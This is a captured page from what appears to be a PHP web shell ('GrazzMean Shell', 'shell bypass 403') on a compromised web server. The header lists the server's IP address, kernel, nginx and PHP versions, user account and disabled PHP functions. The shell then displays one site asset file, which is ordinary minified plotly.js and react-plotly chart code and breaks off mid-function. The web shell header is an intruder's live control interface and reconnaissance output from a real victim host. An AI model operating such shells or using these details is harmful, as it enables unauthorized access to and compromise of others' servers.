shell bypass 403

GrazzMean Shell

: /www/wwwroot/jx.wumingai.com/assets/ [ drwxr-xr-x ]
Uname: Linux yisu-647059427c03a 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64
Software: nginx/1.22.1
PHP version: 7.3.31 [ PHP INFO ] PHP os: Linux
Server Ip: 103.146.158.90
Your Ip: 216.73.216.141
User: www (1000) | Group: www (1000)
Safe Mode: OFF
Disable Function:
passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv

name : f0q4qw8qjqp0hxu9.js
import{eT as k0,r as _0,T as z0,j as Ov}from"./kkasil63rmfidan7.js";import"./spwglx8qg6louqra.js";var Bv={},Nv={};(function(Ps){function Hl(u){"@babel/helpers - typeof";return Hl=typeof Symbol=="function"&&typeof Symbol.iterator=="symbol"?function(s){return typeof s}:function(s){return s&&typeof Symbol=="function"&&s.constructor===Symbol&&s!==Symbol.prototype?"symbol":typeof s},Hl(u)}Object.defineProperty(Ps,"__esModule",{value:!0}),Ps.default=l;var Vl=te(_0),Mi=co(k0());function co(u){return u&&u.__esModule?u:{default:u}}function xu(u){if(typeof WeakMap!="function")return null;var s=new WeakMap,y=new WeakMap;return(xu=function(b){return b?y:s})(u)}function te(u,s){if(u&&u.__esModule)return u;if(u===null||Hl(u)!=="object"&&typeof u!="function")return{default:u};var y=xu(s);if(y&&y.has(u))return y.get(u);var c={},b=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var h in u)if(h!=="default"&&Object.prototype.hasOwnProperty.call(u,h)){var i=b?Object.getOwnPropertyDescriptor(u,h):null;i&&(i.get||i.set)?Object.defineProperty(c,h,i):c[h]=u[h]}return c.default=u,y&&y.set(u,c),c}function Z(u,s){if(!(u instanceof s))throw new TypeError("Cannot call a class as a function")}function e(u,s){for(var y=0;y<s.length;y++){var c=s[y];c.enumerable=c.enumerable||!1,c.configurable=!0,"value"in c&&(c.writable=!0),Object.defineProperty(u,c.key,c)}}function M(u,s,y){return s&&e(u.prototype,s),Object.defineProperty(u,"prototype",{writable:!1}),u}function P(u,s){if(typeof s!="function"&&s!==null)throw new TypeError("Super expression must either be null or a function");u.prototype=Object.create(s&&s.prototype,{constructor:{value:u,writable:!0,configurable:!0}}),Object.defineProperty(u,"prototype",{writable:!1}),s&&o(u,s)}function o(u,s){return o=Object.setPrototypeOf?Object.setPrototypeOf.bind():function(c,b){return c.__proto__=b,c},o(u,s)}function L(u){var s=g();return function(){var c=t(u),b;if(s){var h=t(this).constructor;b=Reflect.construct(c,arguments,h)}else b=c.apply(this,arguments);return S(this,b)}}function S(u,s){if(s&&(Hl(s)==="object"||typeof s=="function"))return s;if(s!==void 0)throw new TypeError("Derived constructors may only return object or undefined");return d(u)}function d(u){if(u===void 0)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return u}function g(){if(typeof Reflect>"u"||!Reflect.construct||Reflect.construct.sham)return!1;if(typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch{return!1}}function t(u){return t=Object.setPrototypeOf?Object.getPrototypeOf.bind():function(y){return y.__proto__||Object.getPrototypeOf(y)},t(u)}var r=["AfterExport","AfterPlot","Animated","AnimatingFrame","AnimationInterrupted","AutoSize","BeforeExport","BeforeHover","ButtonClicked","Click","ClickAnnotation","Deselect","DoubleClick","Framework","Hover","LegendClick","LegendDoubleClick","Relayout","Relayouting","Restyle","Redraw","Selected","Selecting","SliderChange","SliderEnd","SliderStart","SunburstClick","Transitioning","TransitionInterrupted","Unhover","WebGlContextLost"],f=["plotly_restyle","plotly_redraw","plotly_relayout","plotly_relayouting","plotly_doubleclick","plotly_animated","plotly_sunburstclick"],a=typeof window<"u";function l(u){var s=function(y){P(b,y);var c=L(b);function b(h){var i;return Z(this,b),i=c.call(this,h),i.p=Promise.resolve(),i.resizeHandler=null,i.handlers={},i.syncWindowResize=i.syncWindowResize.bind(d(i)),i.syncEventHandlers=i.syncEventHandlers.bind(d(i)),i.attachUpdateEvents=i.attachUpdateEvents.bind(d(i)),i.getRef=i.getRef.bind(d(i)),i.handleUpdate=i.handleUpdate.bind(d(i)),i.figureCallback=i.figureCallback.bind(d(i)),i.updatePlotly=i.updatePlotly.bind(d(i)),i}return M(b,[{key:"updatePlotly",value:function(i,v,T){var w=this;this.p=this.p.then(function(){if(!w.unmounting){if(!w.el)throw new Error("Missing element reference");return u.react(w.el,{data:w.props.data,layout:w.props.layout,config:w.props.config,frames:w.props.frames})}}).then(function(){w.unmounting||(w.syncWindowResize(i),w.syncEventHandlers(),w.figureCallback(v),T&&w.attachUpdateEvents())}).catch(function(E){w.props.onError&&w.props.onError(E)})}},{key:"componentDidMount",value:function(){this.unmounting=!1,this.updatePlotly(!0,this.props.onInitialized,!0)}},{key:"componentDidUpdate",value:function(i){this.unmounting=!1;var v=i.frames&&i.frames.length?i.frames.length:0,T=this.props.frames&&this.props.frames.length?this.props.frames.length:0,w=!(i.layout===this.props.layout&&i.data===this.props.data&&i.config===this.props.config&&T===v),E=i.revision!==void 0,p=i.revision!==this.props.revision;!w&&(!E||E&&!p)||this.updatePlotly(!1,this.props.onUpdate,!1)}},{key:"componentWillUnmount",value:function(){this.unmounting=!0,this.figureCallback(this.props.onPurge),this.resizeHandler&&a&&(window.removeEventListener("resize",this.resizeHandler),this.resizeHandler=null),this.removeUpdateEvents(),u.purge(this.el)}},{key:"attachUpdateEvents",value:function(){var i=this;!this.el||!this.el.removeListener||f.forEach(function(v){i.el.on(v,i.handleUpdate)})}},{key:"removeUpdateEvents",value:function(){var i=this;!this.el||!this.el.removeListener||f.forEach(function(v){i.el.removeListener(v,i.handleUpdate)})}},{key:"handleUpdate",value:function(){this.figureCallback(this.props.onUpdate)}},{key:"figureCallback",value:function(i){if(typeof i=="function"){var v=this.el,T=v.data,w=v.layout,E=this.el._transitionData?this.el._transitionData._frames:null,p={data:T,layout:w,frames:E};i(p,this.el)}}},{key:"syncWindowResize",value:function(i){var v=this;a&&(this.props.useResizeHandler&&!this.resizeHandler?(this.resizeHandler=function(){return u.Plots.resize(v.el)},window.addEventListener("resize",this.resizeHandler),i&&this.resizeHandler()):!this.props.useResizeHandler&&this.resizeHandler&&(window.removeEventListener("resize",this.resizeHandler),this.resizeHandler=null))}},{key:"getRef",value:function(i){this.el=i,this.props.debug&&a&&(window.gd=this.el)}},{key:"syncEventHandlers",value:function(){var i=this;r.forEach(function(v){var T=i.props["on"+v],w=i.handlers[v],E=!!w;T&&!E?i.addEventHandler(v,T):!T&&E?i.removeEventHandler(v):T&&E&&T!==w&&(i.removeEventHandler(v),i.addEventHandler(v,T))})}},{key:"addEventHandler",value:function(i,v){this.handlers[i]=v,this.el.on(this.getPlotlyEventName(i),this.handlers[i])}},{key:"removeEventHandler",value:function(i){this.el.removeListener(this.getPlotlyEventName(i),this.handlers[i]),delete this.handlers[i]}},{key:"getPlotlyEventName",value:function(i){return"plotly_"+i.toLowerCase()}},{key:"render",value:function(){return Vl.default.createElement("div",{id:this.props.divId,style:this.props.style,ref:this.getRef,className:this.props.className})}}]),b}(Vl.Component);return s.propTypes={data:Mi.default.arrayOf(Mi.default.object),config:Mi.default.object,layout:Mi.default.object,frames:Mi.default.arrayOf(Mi.default.object),revision:Mi.default.number,onInitialized:Mi.default.func,onPurge:Mi.default.func,onError:Mi.default.func,onUpdate:Mi.default.func,debug:Mi.default.bool,style:Mi.default.object,className:Mi.default.string,useResizeHandler:Mi.default.bool,divId:Mi.default.string},r.forEach(function(y){s.propTypes["on"+y]=Mi.default.func}),s.defaultProps={debug:!1,useResizeHandler:!1,data:[],style:{position:"relative",display:"inline-block"}},s}})(Nv);var Uv={exports:{}};(function(Ps,Hl){(function(Mi,co){Ps.exports=co()})(self,function(){return function(){var Vl={98847:function(te,Z,e){var M=e(71828),P={"X,X div":'direction:ltr;font-family:"Open Sans",verdana,arial,sans-serif;margin:0;padding:0;',"X input,X button":'font-family:"Open Sans",verdana,arial,sans-serif;',"X input:focus,X button:focus":"outline:none;","X a":"text-decoration:none;","X a:hover":"text-decoration:none;","X .crisp":"shape-rendering:crispEdges;","X .user-select-none":"-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;","X svg":"overflow:hidden;","X svg a":"fill:#447adb;","X svg a:hover":"fill:#3c6dc5;","X .main-svg":"position:absolute;top:0;left:0;pointer-events:none;","X .main-svg .draglayer":"pointer-events:all;","X .cursor-default":"cursor:default;","X .cursor-pointer":"cursor:pointer;","X .cursor-crosshair":"cursor:crosshair;","X .cursor-move":"cursor:move;","X .cursor-col-resize":"cursor:col-resize;","X .cursor-row-resize":"cursor:row-resize;","X .cursor-ns-resize":"cursor:ns-resize;","X .cursor-ew-resize":"cursor:ew-resize;","X .cursor-sw-resize":"cursor:sw-resize;","X .cursor-s-resize":"cursor:s-resize;","X .cursor-se-resize":"cursor:se-resize;","X .cursor-w-resize":"cursor:w-resize;","X .cursor-e-resize":"cursor:e-resize;","X .cursor-nw-resize":"cursor:nw-resize;","X .cursor-n-resize":"cursor:n-resize;","X .cursor-ne-resize":"cursor:ne-resize;","X .cursor-grab":"cursor:-webkit-grab;cursor:grab;","X .modebar":"position:absolute;top:2px;right:2px;","X .ease-bg":"-webkit-transition:background-color .3s ease 0s;-moz-transition:background-color .3s ease 0s;-ms-transition:background-color .3s ease 0s;-o-transition:background-color .3s ease 0s;transition:background-color .3s ease 0s;","X .modebar--hover>:not(.watermark)":"opacity:0;-webkit-transition:opacity .3s ease 0s;-moz-transition:opacity .3s ease 0s;-ms-transition:opacity .3s ease 0s;-o-transition:opacity .3s ease 0s;transition:opacity .3s ease 0s;","X:hover .modebar--hover .modebar-group":"opacity:1;","X .modebar-group":"float:left;display:inline-block;box-sizing:border-box;padding-left:8px;position:relative;vertical-align:middle;white-space:nowrap;","X .modebar-btn":"position:relative;font-size:16px;padding:3px 4px;height:22px;cursor:pointer;line-height:normal;box-sizing:border-box;","X .modebar-btn svg":"position:relative;top:2px;","X .modebar.vertical":"display:flex;flex-direction:column;flex-wrap:wrap;align-content:flex-end;max-height:100%;","X .modebar.vertical svg":"top:-1px;","X .modebar.vertical .modebar-group":"display:block;float:none;padding-left:0px;padding-bottom:8px;","X .modebar.vertical .modebar-group .modebar-btn":"display:block;text-align:center;","X [data-title]:before,X [data-title]:after":"position:absolute;-webkit-transform:translate3d(0, 0, 0);-moz-transform:translate3d(0, 0, 0);-ms-transform:translate3d(0, 0, 0);-o-transform:translate3d(0, 0, 0);transform:translate3d(0, 0, 0);display:none;opacity:0;z-index:1001;pointer-events:none;top:110%;right:50%;","X [data-title]:hover:before,X [data-title]:hover:after":"display:block;opacity:1;","X [data-title]:before":'content:"";position:absolute;background:rgba(0,0,0,0);border:6px solid rgba(0,0,0,0);z-index:1002;margin-top:-12px;border-bottom-color:#69738a;margin-right:-6px;',"X [data-title]:after":"content:attr(data-title);background:#69738a;color:#fff;padding:8px 10px;font-size:12px;line-height:12px;white-space:nowrap;margin-right:-18px;border-radius:2px;","X .vertical [data-title]:before,X .vertical [data-title]:after":"top:0%;right:200%;","X .vertical [data-title]:before":"border:6px solid rgba(0,0,0,0);border-left-color:#69738a;margin-top:8px;margin-right:-30px;",Y:'font-family:"Open Sans",verdana,arial,sans-serif;position:fixed;top:50px;right:20px;z-index:10000;font-size:10pt;max-width:180px;',"Y p":"margin:0;","Y .notifier-note":"min-width:180px;max-width:250px;border:1px solid #fff;z-index:3000;margin:0;background-color:#8c97af;background-color:rgba(140,151,175,.9);color:#fff;padding:10px;overflow-wrap:break-word;word-wrap:break-word;-ms-hyphens:auto;-webkit-hyphens:auto;hyphens:auto;","Y .notifier-close":"color:#fff;opacity:.8;float:right;padding:0 5px;background:none;border:none;font-size:20px;font-weight:bold;line-height:20px;","Y .notifier-close:hover":"color:#444;text-decoration:none;cursor:pointer;"};for(var o in P){var L=o.replace(/^,/," ,").replace(/X/g,".js-plotly-plot .plotly").replace(/Y/g,".plotly-notifier");M.addStyleRule(L,P[o])}},98222:function(te,Z,e){te.exports=e(82887)},27206:function(te,Z,e){te.exports=e(60822)},59893:function(te,Z,e){te.exports=e(23381)},5224:function(te,Z,e){te.exports=e(83832)},59509:function(te,Z,e){te.exports=e(72201)},75557:function(te,Z,e){te.exports=e(91815)},40338:function(te,Z,e){te.exports=e(21462)},35080:function(te,Z,e){te.exports=e(51319)},61396:function(te,Z,e){te.exports=e(57516)},40549:function(te,Z,e){te.exports=e(98128)},49866:function(te,Z,e){te.exports=e(99442)},36089:function(te,Z,e){te.exports=e(93740)},19548:function(te,Z,e){te.exports=e(8729)},35831:function(te,Z,e){te.exports=e(93814)},61039:function(te,Z,e){te.exports=e(14382)},97040:function(te,Z,e){te.exports=e(51759)},77986:function(te,Z,e){te.exports=e(10421)},24296:function(te,Z,e){te.exports=e(43102)},58872:function(te,Z,e){te.exports=e(92165)},29626:function(te,Z,e){te.exports=e(3325)},65591:function(te,Z,e){te.exports=e(36071)},69738:function(te,Z,e){te.exports=e(43905)},92650:function(te,Z,e){te.exports=e(35902)},35630:function(te,Z,e){te.exports=e(69816)},73434:function(te,Z,e){te.exports=e(94507)},27909:function(te,Z,e){var M=e(19548);M.register([e(27206),e(5224),e(58872),e(65591),e(69738),e(92650),e(49866),e(25743),e(6197),e(97040),e(85461),e(73434),e(54201),e(81299),e(47645),e(35630),e(77986),e(83043),e(93005),e(96881),e(4534),e(50581),e(40549),e(77900),e(47582),e(35080),e(21641),e(17280),e(5861),e(29626),e(10021),e(65317),e(96268),e(61396),e(35831),e(16122),e(46163),e(40344),e(40338),e(48131),e(36089),e(55334),e(75557),e(19440),e(99488),e(59893),e(97393),e(98222),e(61039),e(24296),e(66398),e(59509)]),te.exports=M},46163:function(te,Z,e){te.exports=e(15154)},96881:function(te,Z,e){te.exports=e(64943)},50581:function(te,Z,e){te.exports=e(21164)},55334:function(te,Z,e){te.exports=e(54186)},65317:function(te,Z,e){te.exports=e(94873)},10021:function(te,Z,e){te.exports=e(67618)},54201:function(te,Z,e){te.exports=e(58810)},5861:function(te,Z,e){te.exports=e(20593)},16122:function(te,Z,e){te.exports=e(29396)},83043:function(te,Z,e){te.exports=e(13551)},48131:function(te,Z,e){te.exports=e(46858)},47582:function(te,Z,e){te.exports=e(17988)},21641:function(te,Z,e){te.exports=e(68868)},96268:function(te,Z,e){te.exports=e(20467)},19440:function(te,Z,e){te.exports=e(91271)},99488:function(te,Z,e){te.exports=e(21461)},97393:function(te,Z,e){te.exports=e(85956)},25743:function(te,Z,e){te.exports=e(52979)},66398:function(te,Z,e){te.exports=e(32275)},17280:function(te,Z,e){te.exports=e(6419)},77900:function(te,Z,e){te.exports=e(61510)},81299:function(te,Z,e){te.exports=e(87619)},93005:function(te,Z,e){te.exports=e(93601)},40344:function(te,Z,e){te.exports=e(96595)},47645:function(te,Z,e){te.exports=e(70954)},6197:function(te,Z,e){te.exports=e(47462)},4534:function(te,Z,e){te.exports=e(17659)},85461:function(te,Z,e){te.exports=e(19990)},82884:function(te){te.exports=[{path:"",backoff:0},{path:"M-2.4,-3V3L0.6,0Z",backoff:.6},{path:"M-3.7,-2.5V2.5L1.3,0Z",backoff:1.3},{path:"M-4.45,-3L-1.65,-0.2V0.2L-4.45,3L1.55,0Z",backoff:1.55},{path:"M-2.2,-2.2L-0.2,-0.2V0.2L-2.2,2.2L-1.4,3L1.6,0L-1.4,-3Z",backoff:1.6},{path:"M-4.4,-2.1L-0.6,-0.2V0.2L-4.4,2.1L-4,3L2,0L-4,-3Z",backoff:2},{path:"M2,0A2,2 0 1,1 0,-2A2,2 0 0,1 2,0Z",backoff:0,noRotate:!0},{path:"M2,2V-2H-2V2Z",backoff:0,noRotate:!0}]},50215:function(te,Z,e){var M=e(82884),P=e(41940),o=e(85555),L=e(44467).templatedArray;e(24695),te.exports=L("annotation",{visible:{valType:"boolean",dflt:!0,editType:"calc+arraydraw"},text:{valType:"string",editType:"calc+arraydraw"},textangle:{valType:"angle",dflt:0,editType:"calc+arraydraw"},font:P({editType:"calc+arraydraw",colorEditType:"arraydraw"}),width:{valType:"number",min:1,dflt:null,editType:"calc+arraydraw"},height:{valType:"number",min:1,dflt:null,editType:"calc+arraydraw"},opacity:{valType:"number",min:0,max:1,dflt:1,editType:"arraydraw"},align:{valType:"enumerated",values:["left","center","right"],dflt:"center",editType:"arraydraw"},valign:{valType:"enumerated",values:["top","middle","bottom"],dflt:"middle",editType:"arraydraw"},bgcolor:{valType:"color",dflt:"rgba(0,0,0,0)",editType:"arraydraw"},bordercolor:{valType:"color",dflt:"rgba(0,0,0,0)",editType:"arraydraw"},borderpad:{valType:"number",min:0,dflt:1,editType:"calc+arraydraw"},borderwidth:{valType:"number",min:0,dflt:1,editType:"calc+arraydraw"},showarrow:{valType:"boolean",dflt:!0,editType:"calc+arraydraw"},arrowcolor:{valType:"color",editType:"arraydraw"},arrowhead:{valType:"integer",min:0,max:M.length,dflt:1,editType:"arraydraw"},startarrowhead:{valType:"integer",min:0,max:M.length,dflt:1,editType:"arraydraw"},arrowside:{valType:"flaglist",flags:["end","start"],extras:["none"],dflt:"end",editType:"arraydraw"},arrowsize:{valType:"number",min:.3,dflt:1,editType:"calc+arraydraw"},startarrowsize:{valType:"number",min:.3,dflt:1,editType:"calc+arraydraw"},arrowwidth:{valType:"number",min:.1,editType:"calc+arraydraw"},standoff:{valType:"number",min:0,dflt:0,editType:"calc+arraydraw"},startstandoff:{valType:"number",min:0,dflt:0,editType:"calc+arraydraw"},ax:{valType:"any",editType:"calc+arraydraw"},ay:{valType:"any",editType:"calc+arraydraw"},axref:{valType:"enumerated",dflt:"pixel",values:["pixel",o.idRegex.x.toString()],editType:"calc"},ayref:{valType:"enumerated",dflt:"pixel",values:["pixel",o.idRegex.y.toString()],editType:"calc"},xref:{valType:"enumerated",values:["paper",o.idRegex.x.toString()],editType:"calc"},x:{valType:"any",editType:"calc+arraydraw"},xanchor:{valType:"enumerated",values:["auto","left","center","right"],dflt:"auto",editType:"calc+arraydraw"},xshift:{valType:"number",dflt:0,editType:"calc+arraydraw"},yref:{valType:"enumerated",values:["paper",o.idRegex.y.toString()],editType:"calc"},y:{valType:"any",editType:"calc+arraydraw"},yanchor:{valType:"enumerated",values:["auto","top","middle","bottom"],dflt:"auto",editType:"calc+arraydraw"},yshift:{valType:"number",dflt:0,editType:"calc+arraydraw"},clicktoshow:{valType:"enumerated",values:[!1,"onoff","onout"],dflt:!1,editType:"arraydraw"},xclick:{valType:"any",editType:"arraydraw"},yclick:{valType:"any",editType:"arraydraw"},hovertext:{valType:"string",editType:"arraydraw"},hoverlabel:{bgcolor:{valType:"color",editType:"arraydraw"},bordercolor:{valType:"color",editType:"arraydraw"},font:P({editType:"arraydraw"}),editType:"arraydraw"},captureevents:{valType:"boolean",editType:"arraydraw"},editType:"calc",_deprecated:{ref:{valType:"string",editType:"calc"}}})},3749:function(te,Z,e){var M=e(71828),P=e(89298),o=e(92605).draw;te.exports=function(g){var t=g._fullLayout,r=M.filterVisible(t.annotations);if(r.length&&g._fullData.length)return M.syncOrAsync([o,L],g)};function L(d){var g=d._fullLayout;M.filterVisible(g.annotations).forEach(function(t){var r=P.getFromId(d,t.xref),f=P.getFromId(d,t.yref),a=P.getRefType(t.xref),l=P.getRefType(t.yref);t._extremes={},a==="range"&&S(t,r),l==="range"&&S(t,f)})}function S(d,g){var t=g._id,r=t.charAt(0),f=d[r],a=d["a"+r],l=d[r+"ref"],u=d["a"+r+"ref"],s=d["_"+r+"padplus"],y=d["_"+r+"padminus"],c={x:1,y:-1}[r]*d[r+"shift"],b=3*d.arrowsize*d.arrowwidth||0,h=b+c,i=b-c,v=3*d.startarrowsize*d.arrowwidth||0,T=v+c,w=v-c,E;if(u===l){var p=P.findExtremes(g,[g.r2c(f)],{ppadplus:h,ppadminus:i}),A=P.findExtremes(g,[g.r2c(a)],{ppadplus:Math.max(s,T),ppadminus:Math.max(y,w)});E={min:[p.min[0],A.min[0]],max:[p.max[0],A.max[0]]}}else T=a?T+a:T,w=a?w-a:w,E=P.findExtremes(g,[g.r2c(f)],{ppadplus:Math.max(s,h,T),ppadminus:Math.max(y,i,w)});d._extremes[t]=E}},44317:function(te,Z,e){var M=e(71828),P=e(73972),o=e(44467).arrayEditor;te.exports={hasClickToShow:L,onClick:S};function L(t,r){var f=d(t,r);return f.on.length>0||f.explicitOff.length>0}function S(t,r){var f=d(t,r),a=f.on,l=f.off.concat(f.explicitOff),u={},s=t._fullLayout.annotations,y,c;if(a.length||l.length){for(y=0;y<a.length;y++)c=o(t.layout,"annotations",s[a[y]]),c.modifyItem("visible",!0),M.extendFlat(u,c.getUpdateObj());for(y=0;y<l.length;y++)c=o(t.layout,"annotations",s[l[y]]),c.modifyItem("visible",!1),M.extendFlat(u,c.getUpdateObj());return P.call("update",t,{},u)}}function d(t,r){var f=t._fullLayout.annotations,a=[],l=[],u=[],s=(r||[]).length,y,c,b,h,i,v,T,w;for(y=0;y<f.length;y++)if(b=f[y],h=b.clicktoshow,h){for(c=0;c<s;c++)if(i=r[c],v=i.xaxis,T=i.yaxis,v._id===b.xref&&T._id===b.yref&&v.d2r(i.x)===g(b._xclick,v)&&T.d2r(i.y)===g(b._yclick,T)){b.visible?h==="onout"?w=l:w=u:w=a,w.push(y);break}c===s&&b.visible&&h==="onout"&&l.push(y)}return{on:a,off:l,explicitOff:u}}function g(t,r){return r.type==="log"?r.l2r(t):r.d2r(t)}},25625:function(te,Z,e){var M=e(71828),P=e(7901);te.exports=function(L,S,d,g){g("opacity");var t=g("bgcolor"),r=g("bordercolor"),f=P.opacity(r);g("borderpad");var a=g("borderwidth"),l=g("showarrow");g("text",l?" ":d._dfltTitle.annotation),g("textangle"),M.coerceFont(g,"font",d.font),g("width"),g("align");var u=g("height");if(u&&g("valign"),l){var s=g("arrowside"),y,c;s.indexOf("end")!==-1&&(y=g("arrowhead"),c=g("arrowsize")),s.indexOf("start")!==-1&&(g("startarrowhead",y),g("startarrowsize",c)),g("arrowcolor",f?S.bordercolor:P.defaultLine),g("arrowwidth",(f&&a||1)*2),g("standoff"),g("startstandoff")}var b=g("hovertext"),h=d.hoverlabel||{};if(b){var i=g("hoverlabel.bgcolor",h.bgcolor||(P.opacity(t)?P.rgb(t):P.defaultLine)),v=g("hoverlabel.bordercolor",h.bordercolor||P.contrast(i));M.coerceFont(g,"hoverlabel.font",{family:h.font.family,size:h.font.size,color:h.font.color||v})}g("captureevents",!!b)}},94128:function(te,Z,e){var M=e(92770),P=e(58163);te.exports=function(L,S,d,g){S=S||{};var t=d==="log"&&S.type==="linear",r=d==="linear"&&S.type==="log";if(!(t||r))return;var f=L._fullLayout.annotations,a=S._id.charAt(0),l,u;function s(c){var b=l[c],h=null;t?h=P(b,S.range):h=Math.pow(10,b),M(h)||(h=null),g(u+c,h)}for(var y=0;y<f.length;y++)l=f[y],u="annotations["+y+"].",l[a+"ref"]===S._id&&s(a),l["a"+a+"ref"]===S._id&&s("a"+a)}},84046:function(te,Z,e){var M=e(71828),P=e(89298),o=e(85501),L=e(25625),S=e(50215);te.exports=function(t,r){o(t,r,{name:"annotations",handleItemDefaults:d})};function d(g,t,r){function f(m,n){return M.coerce(g,t,S,m,n)}var a=f("visible"),l=f("clicktoshow");if(a||l){L(g,t,r,f);for(var u=t.showarrow,s=["x","y"],y=[-10,-30],c={_fullLayout:r},b=0;b<2;b++){var h=s[b],i=P.coerceRef(g,t,c,h,"","paper");if(i!=="paper"){var v=P.getFromId(c,i);v._annIndices.push(t._index)}if(P.coercePosition(t,c,f,i,h,.5),u){var T="a"+h,w=P.coerceRef(g,t,c,T,"pixel",["pixel","paper"]);w!=="pixel"&&w!==i&&(w=t[T]="pixel");var E=w==="pixel"?y[b]:.4;P.coercePosition(t,c,f,w,T,E)}f(h+"anchor"),f(h+"shift")}if(M.noneOrAll(g,t,["x","y"]),u&&M.noneOrAll(g,t,["ax","ay"]),l){var p=f("xclick"),A=f("yclick");t._xclick=p===void 0?t.x:P.cleanPosition(p,c,t.xref),t._yclick=A===void 0?t.y:P.cleanPosition(A,c,t.yref)}}}},92605:function(te,Z,e){var M=e(39898),P=e(73972),o=e(74875),L=e(71828),S=L.strTranslate,d=e(89298),g=e(7901),t=e(91424),r=e(30211),f=e(63893),a=e(6964),l=e(28569),u=e(44467).arrayEditor,s=e(13011);te.exports={draw:y,drawOne:c,drawRaw:h};function y(i){var v=i._fullLayout;v._infolayer.selectAll(".annotation").remove();for(var T=0;T<v.annotations.length;T++)v.annotations[T].visible&&c(i,T);return o.previousPromises(i)}function c(i,v){var T=i._fullLayout,w=T.annotations[v]||{},E=d.getFromId(i,w.xref),p=d.getFromId(i,w.yref);E&&E.setScale(),p&&p.setScale(),h(i,w,v,!1,E,p)}function b(i,v,T,w,E){var p=E[T],A=E[T+"ref"],m=T.indexOf("y")!==-1,n=d.getRefType(A)==="domain",C=m?w.h:w.w;return i?n?p+(m?-v:v)/i._length:i.p2r(i.r2p(p)+v):p+(m?-v:v)/C}function h(i,v,T,w,E,p){var A=i._fullLayout,m=i._fullLayout._size,n=i._context.edits,C,x;w?(C="annotation-"+w,x=w+".annotations"):(C="annotation",x="annotations");var I=u(i.layout,x,v),k=I.modifyBase,B=I.modifyItem,_=I.getUpdateObj;A._infolayer.selectAll("."+C+'[data-index="'+T+'"]').remove();var F="clip"+A._uid+"_ann"+T;if(!v._input||v.visible===!1){M.selectAll("#"+F).remove();return}var O={x:{},y:{}},z=+v.textangle||0,N=A._infolayer.append("g").classed(C,!0).attr("data-index",String(T)).style("opacity",v.opacity),G=N.append("g").classed("annotation-text-g",!0),J=n[v.showarrow?"annotationTail":"annotationPosition"],q=v.captureevents||n.annotationText||J;function ne(pe){var we={index:T,annotation:v._input,fullAnnotation:v,event:pe};return w&&(we.subplotId=w),we}var fe=G.append("g").style("pointer-events",q?"all":null).call(a,"pointer").on("click",function(){i._dragging=!1,i.emit("plotly_clickannotation",ne(M.event))});v.hovertext&&fe.on("mouseover",function(){var pe=v.hoverlabel,we=pe.font,xe=this.getBoundingClientRect(),ke=i.getBoundingClientRect();r.loneHover({x0:xe.left-ke.left,x1:xe.right-ke.left,y:(xe.top+xe.bottom)/2-ke.top,text:v.hovertext,color:pe.bgcolor,borderColor:pe.bordercolor,fontFamily:we.family,fontSize:we.size,fontColor:we.color},{container:A._hoverlayer.node(),outerContainer:A._paper.node(),gd:i})}).on("mouseout",function(){r.loneUnhover(A._hoverlayer.node())});var X=v.borderwidth,W=v.borderpad,V=X+W,Y=fe.append("rect").attr("class","bg").style("stroke-width",X+"px").call(g.stroke,v.bordercolor).call(g.fill,v.bgcolor),Q=v.width||v.height,ie=A._topclips.selectAll("#"+F).data(Q?[0]:[]);ie.enter().append("clipPath").classed("annclip",!0).attr("id",F).append("rect"),ie.exit().remove();var j=v.font,K=A._meta?L.templateString(v.text,A._meta):v.text,oe=fe.append("text").classed("annotation-text",!0).text(K);function re(pe){return pe.call(t.font,j).attr({"text-anchor":{left:"start",right:"end"}[v.align]||"middle"}),f.convertToTspans(pe,i,le),pe}function le(){var pe=oe.selectAll("a");if(pe.size()===1&&pe.text()===oe.text()){var we=fe.insert("a",":first-child").attr({"xlink:xlink:href":pe.attr("xlink:href"),"xlink:xlink:show":pe.attr("xlink:show")}).style({cursor:"pointer"});we.node().appendChild(Y.node())}var xe=fe.select(".annotation-text-math-group"),ke=!xe.empty(),_e=t.bBox((ke?xe:oe).node()),be=_e.width,ge=_e.height,Te=v.width||be,Fe=v.height||ge,Oe=Math.round(Te+2*V),Ce=Math.round(Fe+2*V);function Be(dr,sr){return sr==="auto"&&(dr<.3333333333333333?sr="left":dr>.6666666666666666?sr="right":sr="center"),{center:0,middle:0,left:.5,bottom:-.5,right:-.5,top:.5}[sr]}for(var $e=!1,Xe=["x","y"],Ze=0;Ze<Xe.length;Ze++){var Ke=Xe[Ze],st=v[Ke+"ref"]||Ke,lt=v["a"+Ke+"ref"],ut={x:E,y:p}[Ke],yt=(z+(Ke==="x"?0:-90))*Math.PI/180,bt=Oe*Math.cos(yt),Ot=Ce*Math.sin(yt),Ge=Math.abs(bt)+Math.abs(Ot),Le=v[Ke+"anchor"],Pe=v[Ke+"shift"]*(Ke==="x"?1:-1),De=O[Ke],Ee,ye,ae,de,Me,Ie=d.getRefType(st);if(ut&&Ie!=="domain"){var Qe=ut.r2fraction(v[Ke]);(Qe<0||Qe>1)&&(lt===st?(Qe=ut.r2fraction(v["a"+Ke]),(Qe<0||Qe>1)&&($e=!0)):$e=!0),Ee=ut._offset+ut.r2p(v[Ke]),de=.5}else{var et=Ie==="domain";Ke==="x"?(ae=v[Ke],Ee=et?ut._offset+ut._length*ae:Ee=m.l+m.w*ae):(ae=1-v[Ke],Ee=et?ut._offset+ut._length*ae:Ee=m.t+m.h*ae),de=v.showarrow?.5:ae}if(v.showarrow){De.head=Ee;var pt=v["a"+Ke];if(Me=bt*Be(.5,v.xanchor)-Ot*Be(.5,v.yanchor),lt===st){var 